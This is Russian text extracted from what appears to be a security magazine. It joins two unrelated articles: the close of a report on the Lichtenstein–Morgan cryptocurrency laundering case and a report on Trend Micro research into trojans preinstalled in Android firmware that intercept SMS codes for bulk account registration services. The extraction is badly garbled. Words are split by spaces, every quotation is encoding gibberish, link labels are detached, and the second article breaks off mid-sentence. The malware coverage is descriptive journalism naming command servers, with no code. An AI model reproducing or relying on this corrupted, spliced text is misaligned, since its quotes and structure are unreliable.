прыж ки по цепоч ке). К при меру, пра воох раните ли демонс три руют, что один
набор бит коинов был переме щен из кошель ка 1CGa4s на два сче та на неназ- 
ванной бир же. Инте рес но, что эти учет ные записи, зарегис три рован ные
на рус ские име на и адре са элек трон ной поч ты, пол ностью финан сирова лись
в Monero, а не в бит коинах. Оба акка унта в ито ге были заморо жены, ког да
бир жа пот ребова ла от вла дель ца допол нитель ную иден тифици рующую
информа цию, а тот ее не пре дос тавил. При чем к тому вре мени боль шая часть
Monero уже была кон верти рова на обратно в бит коины и выведе на с бир жи.

В бумагах не упо мина ется, в какой момент день ги из бит коин-кошель ка
Лих тен штей на были кон верти рова ны в Monero, что бы поз же появить ся на этих
двух акка унтах. Так же ни сло ва не говорит ся о том, каким обра зом сле дова- 
тели про дол жали наб людать за крип товалю той, нес мотря на ано ним ность
Monero, нап равлен ную имен но на пре дот вра щение подоб ной слеж ки.

Из вес тный ИБ-эксперт и крип тограф из Уни вер ситета Джо на Хоп кинса
Мэтью Грин пишет, что влас ти мог ли вооб ще ничего не отсле живать, а поп- 
росту наш ли дру гие доказа тель ства свя зи одной из учет ных записей Лих тен- 
штей на с похищен ными день гами (хотя такие ули ки в докумен тах не упо мина- 
ются).

«

»

«Åñòü è äðó ãàÿ âîç ìîæíîñòü, êîòîðóþ ÿ îïðå äåëåí íî íå èñêëþ ÷àþ:

ó íèõ åñòü êàêèå‑òî èíñ òðó ìåí òû äëÿ îòñëå æèâà íèÿ, êîòîðûå îíè

íå õîòÿò ðàñ êðû âàòü â ýòèõ äîêóìåí òàõ», — ãîâîðèò Ãðèí.

Сто ит отме тить, что еще в прош лом году в сеть утек ли докумен ты блок- 
чейн-ана лити ков из ком пании Chainalysis, которая неред ко сот рудни чает
с Налого вым управле нием США. Сли тая в сеть пре зен тация, пред назна чав- 
шаяся для италь янской полиции, гла сила, что Chainalysis может пре дос тавить
«полез ную информа цию» по отсле жива нию Monero в 65% слу чаев, а еще
в 20% слу чаев может опре делить отпра вите ля тран закции (но не ее получа- 
теля).

Увы, ком менти ровать арест Лих тен штей на и Мор ган, а так же рас сле дова- 
ние ограбле ния Bitnex в Chainalysis отка зыва ются.

«

»

«Åñëè ïîäîá íûå àíà ëèòè ÷åñ êèå ôèð ìû íå ðàáîòà þò íàä âàëþòà ìè

ñ ïîâûøåí íîé àíî íèì íîñòüþ, îíè ïîï ðîñòó íå äåëà þò ñâîþ ðàáîòó, —

îòìå ÷àåò Ìýòüþ Ãðèí. — Äóìàþ, ñòî èò ïðåä ïîëîæèòü, ÷òî îíè èçó ÷àþò

ýòè ñèñ òåìû è, âåðî ÿòíî, óæå äîáèëèñü îïðå äåëåí íûõ óñïå õîâ».

Что будет даль ше с изъ яты ми бит коина ми, пока неяс но. Пра витель ство заяв- 
ляет, что люди, у которых в 2016 году были укра дены средс тва, смо гут вер нуть
их через суд. Тем вре менем пред ста вите ли Bitnex уже выпус тили 

, в котором выража ют надеж ду, что смо гут получить кон фиско- 
ван ные средс тва обратно. Бир жа под твер дила, что «будет работать с Минис- 
терс твом юсти ции и сле довать соот ветс тву ющим юри дичес ким про цеду рам,
что бы уста новить пра ва на воз врат укра ден ных бит коинов».

офи циаль- 
ное заяв ление

«ÁÈÇÍÅÑÌÅÍÛ» ÈÇ TIKTOK

По ка часть ИБ- и крип товалют ного сооб ществ обсужда ет тех ничес кие детали
про изо шед шего и зада ется воп росами о том, как влас ти смог ли отсле дить
тран закции в Monero, дру гая часть искрен нее сме ется над тем, что Лих тен- 
штейн и Мор ган наруша ли все мыс лимые и немыс лимые пра вила опе раци- 
онной безопас ности.

В час тнос ти, при веден ные выше фак ты сви детель ству ют о том, что Лих тен- 
штейн хра нил мас су при ват ных клю чей от 2000 кошель ков с ворован ной крип- 
товалю той в одном мес те — в обла ке, тем самым лишь облегчив пра воох- 
раните лям их кон фиска цию. При этом некото рые фай лы были «защище ны
надеж ным алго рит мом шиф рования и длин ным паролем», одна ко следс твию
уда лось спра вить ся и с этим.

Так же у Лих тен штей на есть акка унт в LinkedIn, где тот называл себя биз- 
нес-анге лом из фир мы Demandpath, которо го инте ресу ют децен тра лизо ван- 
ные про екты на ран ней ста дии раз вития. При этом, сог ласно судеб ным
докумен там, бит коины, хра нящи еся на сче тах Demandpath и мар кетин говой
ком пании SalesFolk (генераль ным дирек тором которой явля ется Мор ган),
яко бы пос тупили в пери од ран них инвести ций. Но сле дова тели обна ружи ли,
что «основным источни ком этих бит коинов были сче та, откры тые в 2017 году
пос ле взло ма [бир жи Bitnex]».

Од нако куда боль ший инте рес общес твен ности теперь вызыва ет поведе- 
ние жены Лих тен штей на. Дело в том, что Хизер Мор ган была край не активна
в интерне те и, похоже, искрен не счи тала себя успешным пред при нима телем,
инфлю энсе ром и жен щиной эпо хи Воз рожде ния.

«
»

«Ïóá ëèêàöèÿ êîí òåíòà — îòëè÷íûé ñïî ñîá âîï ëîòèòü ñâîè ìå÷ òû

â ðåàëü íîñòü», — çàÿâ ëÿëà Ìîð ãàí.

Из мно гочис ленных рэп-видео Хизер Мор ган

Она вела собс твен ный YouTube-канал (в нас тоящее вре мя уже уда лен),
напол ненный рэп-видео с сом нитель ными тек ста ми, а так же стран ными
ролика ми, вро де рас паков ки 25 про тезов глаз ных яблок или рецеп тами анти- 
коро нави рус ных соков.

Кое-что из твор чес тва Мор ган еще сох ранилось на ее сай те
, где она пред став ляет ся «кро коди лом с Уолл-Стрит», носит

рэп-псев доним Razzlekhan и «иссле дует новые гра ницы искусс тва, раз дви гая
гра ницы воз можно го», а так же пишет музыку «для пред при нима телей
и хакеров».

razzlekhan.com

Так же у Мор ган есть  и , которые пока
работа ют, но мы дол жны пре дуп редить, что «раз видеть» некото рые ее ролики
будет слож но.

ак каунт в Twitter ак каунт в TikTok

Впро чем, в дру гих видео Мор ган совер шенно серь езно дает советы
по самопо мощи для сту ден тов, которые счи тают, что выб рали не ту спе циаль- 
ность, или рас ска зыва ет о том, как она в 23 года осно вала и пос тро ила мно- 
гомил лион ный биз нес, не при бегая к инвести циям извне и не имея обра зова- 
ния на уров не уни вер ситетов Лиги плю ща. При этом, конеч но, «забывая» упо- 
мянуть, что они с мужем мно го лет занима лись отмы вани ем нес коль ких мил- 
лиар дов дол ларов в крип товалю те.

На тот слу чай, если акка унт в TikTok тоже будет уда лен, вот 
.

ре пост это го
ролика Мор ган в Twitter

«
»

«Àâòî ìàòè çèðî âàòü, èñêëþ ÷èòü, äåëåãè ðîâàòü, ïîíÿò íî? Ïîâ òîðÿé òå

çà ìíîé» — ðàñ êðû âàåò «ñåê ðåò ñâî åãî óñïå õà» Ìîð ãàí.

«

»

«ß íå òðàñ òîâûé ôîíä — ó ìîèõ ðîäèòå ëåé íå áûëî ìíî ãî äåíåã, —

ðàñ ñêà çûâà åò Ìîð ãàí â . Ìîé ïàïà áûë áèîëî ãîì

íà ãîñóäàðñ òâåí íîé äîë æíîñ òè, à ìàìà — øêîëü íûì áèá ëèîòå êàðåì.

Òàê æå ÿ áûëà áåç äîìíîé íåñ êîëü êî ðàç è áûëà àáñî ëþò íî íèùåé.

Äåíü ãè ïðè õîäÿò è óõî äÿò. Èíîã äà îíè ó âàñ åñòü, èíîã äà íåò. Â ýòîé

æèç íè íåò íè÷åãî îïðå äåëåí íîãî… íóæ íî ñîõ ðàíÿòü ãèá êîñòü»

äðó ãîì âèäåî

Бо лее того, Мор ган  и око ло 100 ста тей для 
, в чис ле про чего пос вящая свои колон ки тому, как защитить биз нес

от кибер прес тупни ков и как стать успешным юту бером.

на писа ла 47 ста тей в Forbes жур- 
нала Inc

«

»

«Õèçåð Ð. Ìîð ãàí — ýêî íîìèñò‑ìåæ äóíàðîä íèê, ñåðèé íûé ïðåä ïðè- 

íèìà òåëü è èíâåñòîð â B2B-êîì ïàíèè, ðàç ðàáàòû âàþùèå ñîôò.

Ýêñïåðò â îáëàñòè óáåæ äåíèÿ, ñîöè àëü íîé èíæå íåðèè è òåîðèè èãð» —

óêà çàíî â åå áèîã ðàôèè.

«

»

«Èñïîëü çóÿ ñâîè íàâûêè â ñôå ðå âåäåíèÿ ïåðåãî âîðîâ, ÿ çàê ëþ÷àëà

ñäåë êè íà øåñ òèçíà÷ íûå ñóì ìû, —  Ìîð ãàí â îäíîé

èç ñâî èõ ïóá ëèêàöèé, — èñïîëü çóÿ ëèøü ýëåê òðîí íóþ ïî÷ òó è ïÿòèìè- 

íóò íûé òåëåôîí íûé çâî íîê, ñêè íóëà äâàä öàòü òûñÿ÷ ñî ñâî åé àðåí- 

äíîé ïëà òû è ñýêîíî ìèëà äåñÿò êè òûñÿ÷ íà ìåäèöèí ñêîì ñòðà õîâà-

íèè».

ðàñ ñêà çûâà ëà

ÆÓÐÍÀËÈÑÒÑÊÎÅ ÐÀÑÑËÅÄÎÂÀÍÈÅ

Сог ласно заяв лени ям адво катов, Мор ган зна ла о ведущем ся рас сле дова нии
пра воох ранитель ных орга нов нес коль ко месяцев, но все это вре мя про дол- 
жала как ни в чем не бывало пуб ликовать сооб щения в соци аль ных сетях.

Тща тель но изу чить «сетевую жизнь» Хизер Мор ган весь ма слож но, ведь
речь идет о тысячах сооб щений и пуб ликаций в соци аль ных сетях (Facebook,
Instagram, YouTube, Vimeo, Soundcloud, Etsy и Spotify, при чем кон тент не пов-
торя ется), сот нях видео, кон тактах с самыми раз ными людь ми. Для подоб ной
работы нуж на груп па хороших ана лити ков и мно го вре мени, но жур налис ты
изда ния  попыта лись «объ ять необъ ятное» и опуб ликова ли
мас штаб ное иссле дова ние, пос вящен ное реконс трук ции биог рафии пары,
которая отча янно хотела стать зна мени той, а теперь вне зап но ста ла.

Vice Motherboard

Нап ример, пред ста вите ли изда ния приш ли к выводу, что Мор ган и Лих тен- 
штейн поз накоми лись в 2013 году, ког да Мор ган посети ла инку батор стар- 
тапов, управля емый вен чурной фир мой 500 Startups, и слу чай но встре тила
Лих тен штей на в баре, куда приш ла со сво ей груп пой.

Жур налис ты пооб щались с про фес сором эко номи ки Трэ висом Либ бертом
из Калифор ний ско го уни вер ситета в Дэвисе, аль ма-матер Мор ган. Мно го лет
назад про фес сор прив лек ее как соав тора к написа нию кни ги о «полити чес- 
ких вза имос вязях меж ду отсутс тви ем про доволь ствен ной безопас ности
и соци аль но-полити чес кой нес табиль ностью», так как на тот момент 23-лет- 
няя Мор ган жила в Егип те и мог ла немало рас ска зать о пос ледс тви ях «араб- 
ской вес ны» на лич ном опы те. Теперь Либ берт с сожале нием отме чает, что
через десять лет пред став лял быв шую сту ден тку на пути к док тор ской сте пени
по эко номи ке (Мор ган получи ла сте пень магис тра эко номи чес кого раз вития
в Аме рикан ском уни вер ситете в Каире), но никак не обви няемой по столь
резонан сно му делу.

Так же изда нию уда лось погово рить и с друзь ями пары, которые в целом
шокиро ваны слу чив шимся. Один из них поп росил не рас кры вать его име ни,
но дал инте рес ную харак терис тику Ильи Лих тен штей на:

«
»

«ß ïðåê ðàñíî ìîãó ïðåä ñòà âèòü, ÷òî Èëüÿ íà ñàìîì äåëå ñäå ëàë ýòî.

Îí áûë ïðîã ðàììèñ òîì è ñâî åãî ðîäà ãåíè åì».

«

»

«Îí ìàëî ãîâîðèë, íî çà âñåì ñëå äèë. Áûë î÷åíü íàá ëþäàòå ëåí, î÷åíü

ëþáîïû òåí, íå íåëþäè ìûé, íî î÷åíü çàì êíó òûé. Îí íå áûë ïëî õèì

èëè „ñêîëü çêèì“, íî áûëî â íåì… ÷òî‑òî. ß íå ìîãó îáú ÿñíèòü» — ðàñ- 

ñêà çûâà åò äðó ãîé çíà êîìûé ñóï ðóãîâ.

Изу чая мно гочис ленные ком пании, соз данные парой за про шед шие годы,
жур налис ты приш ли к выводу, что мно гие из них не были обыч ными «шир- 
мами» в исконном понима нии это го тер мина: эти ком пании работа ли и даже
нанима ли сот рудни ков. Одна из них — Endpass, которая яко бы стре милась
раз работать безопас ный крип товалют ный кошелек. Хотя Мор ган ука зала
себя гла вой этой фир мы в LinkedIn, по дан ным Минис терс тва юсти ции, офи- 
циаль но ком пания при над лежала Лих тен штей ну.

Motherboard уда лось расс про сить нес коль ко рус ско языч ных ребят,
которые иска ли работу и в ито ге наш ли уда лен ку в Endpass. Один из них, про- 
рабо тав ший в ком пании нес коль ко месяцев, ска зал, что вооб ще никог да
не слы шал о Мор ган, а работал в коман де из семи-вось ми человек
под руководс твом Лих тен штей на.

«

»

«Èëüÿ áûë õîðîøèì íà÷àëü íèêîì, — ðàñ ñêà çàë áûâ øèé ñîò ðóäíèê, —

îí âñåã äà êàçàë ñÿ õîðîøèì, òðó äîëþ áèâûì ïàð íåì. Åäèíñ òâåí íîé

ñòðàí íîñòüþ áûëî òî, ÷òî îí ÷àñ òî óïî ìèíàë, ÷òî ó ïðî åêòà î÷åíü

íåáîëü øîé áþä æåò. Ñåãîä íÿ ÿ ïîäóìàë: êàê æå ó íàñ ìîã áûòü

ìàëåíü êèé áþä æåò, åñëè, ïîõîæå, ó íåãî áûëè òàêèå ñóìàñ øåäøèå

äåíü ãè? Êðî ìå òîãî, îí âñåã äà ñòà ðàë ñÿ ïëà òèòü ïîä ðÿä÷è êàì

êàê ìîæ íî ìåíü øå».

В статье отме чает ся, что изу чение всей сетевой активнос ти пары может
занять годы, но при пер вом рас смот рении пос ты Мор ган, в которых час то
фигури рует Лих тен штейн, демонс три руют обыч ную «молодую пару око- 
ло 30 лет, которая, оче вид но, хорошо про водит вре мя и живет ком фор тной
жизнью выс шего клас са, соот ветс тву ющей тому, что мож но ожи дать
от людей, пре успевших в ИТ. У них явно есть день ги, но ни один из пос тов
не говорит о том, что они тай но сидят на мил лиар дах дол ларов».

В нас тоящее вре мя Лих тен штей ну и Мор ган предъ явле ны обви нения
в загово ре с целью отмы вания денег, за который мож но получить до двад цати
лет лишения сво боды, а так же в сго воре с целью мошен ничес тва, за который
пре дус мотре но мак сималь ное наказа ние в виде пяти лет тюрь мы.
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Мо биль ники на Android обыч но про дают ся с кучей пре дус- 
танов ленно го соф та: мес сен дже ров, кли ентов соци аль ных
сетей, игр, а порой даже тро янов. Наши кол леги из ком пании

 про вели боль шое иссле дова ние ряда слу чаев
рас простра нения вре донос ных прог рамм в завод ских про- 
шив ках смар тфо нов и подели лись пред варитель ными ито- 
гами с нами. В этой статье я под робно рас ска жу о резуль- 
татах иссле дова ния — они очень инте рес ны.

Trend Micro

Для начала нес коль ко слов о том, как тро яны вооб ще попада ют в про шив ку
мобиль ных устрой ств. Этот канал рас простра нения вре донос ного ПО носит
наз вание supply chain attack, то есть «ата ка в про цес се про изводс тва». В раз- 
личных источни ках выс казыва лось мно жес тво пред положе ний о том, какое
имен но зве но раз работ ки Android-девай сов мож но условно наз вать «зло- 
умыш ленни ком», одна ко для понима ния источни ка проб лемы нуж но вспом- 
нить исто рию эво люции сов ремен ных китай ских смар тфо нов.

ÇÀ ÂÅËÈÊÎÉ ÑÒÅÍÎÉ

При мер но в 2010 году в Китае нес коль ко ком паний, круп ней шей из которых
явля ется MediaTek, налади ли серий ный выпуск «сис тем на чипе» (SoC), пред- 
став лявших собой фак тичес ки готовую осно ву для смар тфо на на Android.
Разуме ется, на рын ке тут же появи лось огромное количес тво малень ких
заводов (кон цен три рующих ся в основном в «элек трон ной сто лице» Китая —
Шэнь чжэ не), которые ста ли кле пать на базе SoC собс твен ные модели смар- 
тфо нов. Рынок быс тро заполо нили «полуфаб рикаты» тру бок, то есть пол- 
ностью ком плектные телефо ны, толь ко без про шив ки — их покупа ли дру гие
китай ские ком пании, спе циали зиру ющиеся на импорте элек тро ники и ее про- 
даже на мар кет плей сах.

Ес ли есть «хард», будет и «софт». На поток «смар тфон ного сырья» китай- 
ский рынок отре аги ровал появ лени ем тысяч кон тор, под заказ выпус кающих
про шив ки для таких телефо нов. Подоб ные фир мы в Китае называ ются 

, и это отдель ный, очень емкий сек тор биз неса. Шуац зи соз дают
про шив ки с раз ным набором соф та, с раз ными лаун черами и про чими «нес- 
кучны ми обо ями» для раз ных катего рий заказ чиков — магази нов, опто виков,
инос тран ных кон тор, которые про дают такие телефо ны под сво им лей блом.
Порой доходи ло до того, что по пути от завода до конеч ного поль зовате ля
смар тфон менял про шив ку нес коль ко раз.

刷機

(шуац зи)

Нес мотря на высокий спрос, кон курен ция на этом рын ке тоже была очень
высокой. Раз работ чикам и «про шиваль щикам» при ходи лось дем пинго вать.
Что бы хоть как-то оку пить зат раты на соз дание про шивок и нем ного под- 
зарабо тать, шуац зи при дума ли аль тер натив ный канал монети зации: они ста- 
ли брать с про изво дите лей соф та комис сию за пре дус танов ку при ложе ний
на смар тфо ны — сто имость такой услу ги сос тавля ет в сред нем
от 5 до 10 юаней за каж дую инстал ляцию прог раммы на кли ент ском устрой- 
стве.

Сле дующий шаг был впол не оче виден: если добавить в про шив ку смар- 
тфо на при ложе ние-заг рузчик, который смо жет ска чивать и уста нав ливать
на телефон дру гие прог раммы по коман де с управля юще го сер вера, то
на этом мож но зарабо тать еще боль ше. Вок руг ком паний-шуац зи ста ли соз- 
давать ся отдель ные агентства, спе циали зиру ющиеся на про даже мобиль ной
рек ламы, услуг по мас совой пре дус танов ке и заг рузке соф та. В погоне
за допол нитель ной при былью в про шив ку некото рых телефо нов «с завода»
добав ляли при ложе ния с рек ламной «пар тнер кой».

INFO

При ложе ния, вхо дящие в сос тав про шив ки
мобиль ного телефо на на Android, по умол чанию
име ют высокий при ори тет выпол нения, дос туп
к при ему и отправ ке SMS, адресной кни ге поль- 
зовате ля, получа ют воз можность заг ружать
и уста нав ливать дру гие прог раммы, вли ять
на про цесс заг рузки девай са. Уда лить такие при- 
ложе ния невоз можно, если поль зователь не обла- 
дает на устрой стве пра вами root.

В пос ледние годы этот рынок стал чуть более цивили зован ным: зна читель ную
его долю теперь занима ют раз работ чики OEM-девай сов на про изводс твен- 
ных мощ ностях в Шэнь чжэ не, а так же ком пании, пред лага ющие так называ- 
емый white labeling — выпуск тиража мобиль ных телефо нов одной из сущес- 
тву ющих китай ских моделей, но под тор говой мар кой заказ чика.

Всем этим устрой ствам так же нуж ны про шив ки, локали зация, лаун черы
и механиз мы обновле ния «по воз духу». При этом китай ские про изво дите ли
и сбор щики железа не раз рабаты вают про шив ки сами, а делеги руют эти
задачи на суб подряд тем самым шуац зи. Что суб подряд чик добавит в про- 
шив ку оче ред ного девай са, порой извес тно толь ко ему самому. Так на «Али- 
экс прес се» и в роз нице вре мя от вре мени появ ляют ся смар тфо ны «с сюр при- 
зами».

По рой, помимо заг рузчи ков и рек ламной мишуры, в про шив ку попада ет
и кое-что посерь езнее: при ложе ния для перех вата кон фиден циаль ных дан ных
и для уда лен ного управле ния смар тфо ном. Некото рые инфи циро ван ные
устрой ства (китай цы называ ют их 肉雞 — «брой лер») спо соб ны объ еди нять ся
в бот неты, которые зло умыш ленни ки исполь зуют, нап ример, для DDoS-атак.

Дру гие спо собы монети зации — авто мати чес кая нак рутка счет чиков
на сай тах, «скли кива ние» рек ламы, под писка або нен та на плат ные сер висы
и даже получе ние скрин шотов или фотог рафий вла дель ца девай са с целью
даль нейше го вымога тель ства.

По мимо это го, дан ные об инфи циро ван ных телефо нах про дают ся
на китай ских форумах прак тичес ки в откры тую: прог раммы для обна руже ния
под клю чен ных к интерне ту прот роянен ных смар тфо нов и уда лен ного
управле ния ими сто ят поряд ка 300 юаней. Это тоже очень раз витый биз нес:
кро ме покуп ки подоб ных прог рамм, про дажи заг рузок при ложе ний и арен ды
C&C-сер веров для собс твен ных бот нетов, на китай ских форумах активно рек- 
ламиру ются услу ги по обу чению всех жела ющих «хакерс тву», под которым
понима ется в основном мас совое исполь зование чужих мобиль ных устрой ств
с тро яна ми в про шив ках.

Та ких скрип ткид ди в Китае называ ют «сяобай» (小白), что мож но перевес ти
как «нуб» или «чай ник». Обу чение сяобаев осно вам исполь зования готово го
ПО для взло ма смар тфо нов — зна читель ный источник дохода для зав сегда- 
таев подоб ных «под поль ных» пло щадок.
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Под робнее о «брой лерах» и «сяобаях» — в 
 ( ).
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hkcd.com ма шин ный перевод с китай ско го

Иног да заражен ные телефо ны попол няют базы сер висов для при ема
и отправ ки SMS (для регис тра ции на сай тах с обя затель ным под твержде нием
номера або нен та). При этом вла делец китай ско го аппа рата даже не подоз- 
рева ет о том, что его номер кто-то вти харя сда ет в арен ду. С помощью
подоб ных сер висов, дей ству ющих не толь ко в Китае, но и по все му миру,
мож но орга низо вать мас совую регис тра цию «одно разо вых» акка унтов. Эта
услу га активно исполь зует ся в широко рас простра нен ной мошен ничес кой
схе ме, которую в Под небес ной называ ют 薅羊毛  («стриж ка шер сти»). Зак- 
люча ется она в сле дующем.

В Чай нете очень популяр на схе ма рас крут ки онлай новых сер висов, ког да
каж дому новому поль зовате лю при регис тра ции начис ляют опре делен ное
количес тво бонус ных бал лов на неболь шую сум му. Бал лы мож но пот ратить,
нап ример, для покуп ки товаров на «Таобао». При этом в слу чае опла ты бонус- 
ными бал лами иног да мож но получить еще и допол нитель ную скид ку
на товар. С помощью сер виса под твержде ния по SMS жулики регис три руют
кучу новых акка унтов, а потом про дают всем жела ющим накоп ленные бонус- 
ные бал лы по сни жен ному кур су.

Так, в 2018 году китай ское под разде ление Starbucks запус тило про моак- 
цию: каж дому зарегис три ровав шемуся поль зовате лю мобиль ного при ложе- 
ния пред лагали купон на бес плат ную пор цию кофе сто имостью око- 
ло 30 юаней (352 руб ля по текуще му кур су). В пер вый же день с помощью
плат форм для мас совой регис тра ции акка унтов китай цы соз дали
более 400 тысяч фей ковых уче ток, что бы получить халяв ный кофе. Убыт ки
Starbucks нес ложно под счи тать.

По доб ную схе му фро да начали рас сле довать наши кол леги из ком пании
Trend Micro, одна ко проб лема ока залась нам ного глуб же, чем пред став- 
лялось сна чала.

SMS PVA

Ре гис тра ция под твержден ных по SMS учет ных записей носит наиме нова ние
phone-veried account (PVA). Если рань ше сер висы SMS PVA исполь зовали
воз можнос ти IP-телефо нии и SMS-шлю зы, то теперь про цесс при ема
и переда чи сооб щений скрыт за кулиса ми: под твержда ющие SMS-коды
переда ются сер вису через API. Ана лити ки Trend Micro уста нови ли, что
как минимум одна из таких служб работа ла поверх бот нета, вклю чающе го
тысячи заражен ных смар тфо нов на Android.

Ин фициро ван ные смар тфо ны исполь зуют ся, что бы получать, ана лизи- 
ровать и переда вать SMS-коды под твержде ния без ведома и сог ласия их
вла дель цев. Экспер ты выяс нили, что вре донос ное ПО было либо изна чаль но
пре дус танов лено в про шив ке смар тфо на, либо ска чано на телефон спря тан- 
ным в про шив ке заг рузчи ком.

Ор ганиза ция такого сер виса не свя зана со зна читель ными зат ратами. Его
вла дель цам не нуж но тра тить ся на покуп ку дорого го обо рудо вания, боль шого
количес тва SIM-карт и опла ту опе рато ру мобиль ной свя зи. Все, что необ- 
ходимо, — дос туп к базе инфи циро ван ных смар тфо нов, которые поз воля ют
отправ лять, получать и пересы лать зло умыш ленни кам сооб щения, а так же
получать дан ные геоло кации (с ее помощью сер вис опре деля ет геог- 
рафичес кое мес тополо жение телефо на). Таким обра зом заказ чики услу ги
могут выб рать реги он, в котором они жела ют при нять SMS и зарегис три- 
ровать свой акка унт.

Один из сер висов SMS PVA (на самом деле мы не зна ем, отку да имен но
этот кон крет ный сер вис берет SMS, он исполь зован прос то в качес тве
при мера)

ÐÀÑÑËÅÄÎÂÀÍÈÅ

В августе 2020 года спе циалис ты Trend Micro обра тили вни мание на один
из сер висов SMS PVA, который про водил активную рек ламную кам панию
на Facebook.

Эта рек лама прив лекла вни мание спе циалис тов

Сер вис пред лагал услу ги по регис тра ции с помощью SMS на таких пло щад- 
ках, как Facebook, Instagram, Google, Hotmail, Yahoo, «Вкон такте», TikTok,
Amazon, Alibaba, Uber, Twitter, YouTube и LinkedIn. При этом на выбор пре дос-
тавля лись телефон ные номера более чем в 100 стра нах мира. Жела ющие
мог ли поп робовать эту услу гу бес плат но на сай те .receivecode.com

Здесь мож но было про тес тировать сер вис бес плат но

Для «опто вых покупа телей» по адре су  был соз дан отдель ный

сайт с пол ноцен ным API. На сай те мож но было арен довать пул телефон ных
номеров из выб ранной стра ны или реги она, управлять им и нас тро ить
переда чу получен ных на эти номера SMS в при ложе ния или онлайн-сер висы.
Сре ди под держи ваемых при ложе ний зна чились Amazon, Twitter, Facebook, QQ
(популяр ный в Китае мес сен джер), TikTok и дру гие. При этом кли енты мог ли
свя зать ся с под дер жкой сер виса и поп росить ее добавить в спи сок дру гие
при ложе ния, для которых тре бова лось пре дос тавить обра зец SMS.

smspva.net

Ког да кли ент выбирал для себя телефон ный номер из пула, этот номер
зак реплял ся за ним на опре делен ное вре мя, по умол чанию рав ное пяти
минутам, пос ле чего номер ста новил ся дос тупен для дру гих заказ чиков. Пос- 
ле осво бож дения с этим номером уже нель зя будет зарегис три ровать ся
в том же самом при ложе нии (нап ример, Facebook или TikTok), но его мож но
исполь зовать для дру гих при ложе ний.

Все это навело спе циалис тов по кибер безопас ности на нехоро шие
подоз рения. Преж де все го, сер вис огра ничи вал мно гок ратное исполь- 
зование одно го и того же телефон ного номера, что бы скрыть от его вла дель- 
ца вре донос ную активность. Кро ме того, он работал толь ко с огра ничен ным
набором при ложе ний и в основном — для регис тра ции новых акка унтов, то
есть с его помощью нель зя было орга низо вать двух фактор ную аутен тифика- 
цию. Но самое глав ное — он не «отда вал» кли ентам плат формы SMS
целиком, а пар сил сооб щения по спе циаль ному шаб лону, извле кал отту да
одно разо вый код и переда вал заказ чику толь ко его. Если SMS получе но
легаль ным путем, почему бы не тран сли ровать его кли енту сер виса целиком?
Наконец, пред лага емое плат формой количес тво телефон ных номеров в раз- 
ных стра нах мира прос то не соот ветс тво вало сто имос ти пре дос тавля емых
услуг, ведь офи циаль ное обслу жива ние и под дер жка такого чис ла SIM-карт
недеше вы.

Хо рошень ко изу чив эту плат форму, спе циалис ты Trend Micro обна ружи ли
прак тичес ки иден тичный сер вис, рас положен ный в китай ской домен ной зоне

 по адре су . Этот сер вис исполь зовал такой же логотип, ана- 

логич ную стра ницу авто риза ции, поч ти неот личимый API и при этом, что
самое глав ное, был свя зан с нес коль кими извес тны ми домена ми, зас ветив- 
шимися при иссле дова нии тро янов для Android.

.cn enjoynut.cn

Два сер виса SMS PVA — близ нецы-братья

Так, домен  исполь зовал ся в качес тве C&C-сер вера в одном
из DEX-фай лов тро яна AndroidOS_Guerilla, который при меня ется кар дерами
для перех вата и пар синга SMS. В этом же тро яне зас ветил ся и дру гой C&C —

.
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sublemontree.com

Ку сок DEX-фай ла AndroidOS_Guerilla с доменом

Ис поль зуя эти фраг менты кода и тра фик C&C в качес тве образца, спе циалис- 
ты смог ли иден тифици ровать еще два фай ла DEX с похожи ми фун кци ями, что
ука зыва ет на активный про цесс раз работ ки вре доно са. Эти тро яны перех- 
ватыва ют не все SMS под ряд, а толь ко те, которые были отправ лены опре- 
делен ными сер висами и соот ветс тву ют регуляр ному выраже нию, получен- 
ному от C&C. Ины ми сло вами, воз можнос ти тро янов пол ностью соот ветс тву- 
ют воз можнос тям API  и .enjoynut.cn smspva.net

Ви димо, огра ниче ния на пересыл ку сооб щений вве дены вирусо писа теля- 
ми с дву мя целями: во-пер вых, что бы не мешать получе нию SMS, зап рошен- 
ных самим поль зовате лем телефо на, а во-вто рых, что бы исклю чить попыт ки
двух фактор ной аутен тифика ции, которые могут при вес ти к хищению у вла- 
дель цев заражен ных устрой ств денеж ных средств. Ведь тог да они навер няка
под нимут тре вогу и сер висы вро де SmsPVA лишат ся сво его самого глав ного
акти ва — боль шого пула инфи циро ван ных смар тфо нов.

ÎÑÎÁÅÍÍÎÑÒÈ ÍÀÖÈÎÍÀËÜÍÎÉ ÎÕÎÒÛ

При регис тра ции акка унтов с исполь зовани ем SMS мно гие сер висы про водят
допол нитель ные про вер ки, нап ример соот ветс тву ет ли телефон ный номер
ука зан ному кли ентом геог рафичес кому положе нию и его IP-адре су. Дела ется
это нес прос та. В час тнос ти, тот или иной кон тент может быть дос тупен толь ко
для опре делен ных стран или некото рые рек ламные кам пании могут про- 
водить ся толь ко реги ональ ными мар кетин говыми коман дами, а некото рые
услу ги не пре дос тавля ются для кли ентов из опре делен ного спис ка
государств. В сочета нии с исполь зовани ем прок си-сер веров и VPN поль- 
зовате ли опи сан ных выше сер висов SMS PVA могут успешно обхо дить такие
огра ниче ния.

При этом реаль ный вла делец телефо на в некото рых слу чаях может утра- 
тить воз можность зарегис три ровать ся на ряде сай тов, в мес сен дже рах
и соци аль ных сетях, пос коль ку его номером уже вос поль зовались зло умыш- 
ленни ки. А вот с какой целью они это сде лали — оста ется толь ко догады вать- 
ся. Это может быть спам, раз ные виды мошен ничес тва, тор говля нар котика- 
ми, незакон ные покуп ки, отмы вание денег, да что угод но! В час тнос ти,
с помощью таких сер висов в служ бах кар шерин га регис три руют ся фей ковые
акка унты, которые могут исполь зовать недоб росовес тные граж дане, в том
чис ле что бы арен довать дорогос тоящие авто моби ли.

Те лег рам-канал, в котором про дают фей ковые акка унты кар шерин га

При этом в слу чае проб лем реаль ную лич ность кибер прес тупни ка уста новить
будет прак тичес ки невоз можно, зато пра воох раните ли лег ко и неп ринуж-
денно вый дут на реаль ного вла дель ца ском про мети рован ного телефон ного
номера, на который зарегис три рован акка унт. Если арен дован ная по под- 
дель ной учет ке машина попадет в ДТП, пре тен зии тоже предъ явят реаль ному
вла дель цу мобиль ного телефо на.

Ес ли верить ста тис тике исполь зования таких сер висов и количес тву пред- 
лага емых ими телефон ных номеров, проб лема име ет гло баль ные мас шта бы.
В пулах подоб ных плат форм нас читыва ются сот ни тысяч телефон ных
номеров, которые исполь зуют ся на инфи циро ван ных тро яна ми устрой ствах.

Боль шинс тво таких устрой ств, ско рее все го, было прот рояне но еще на
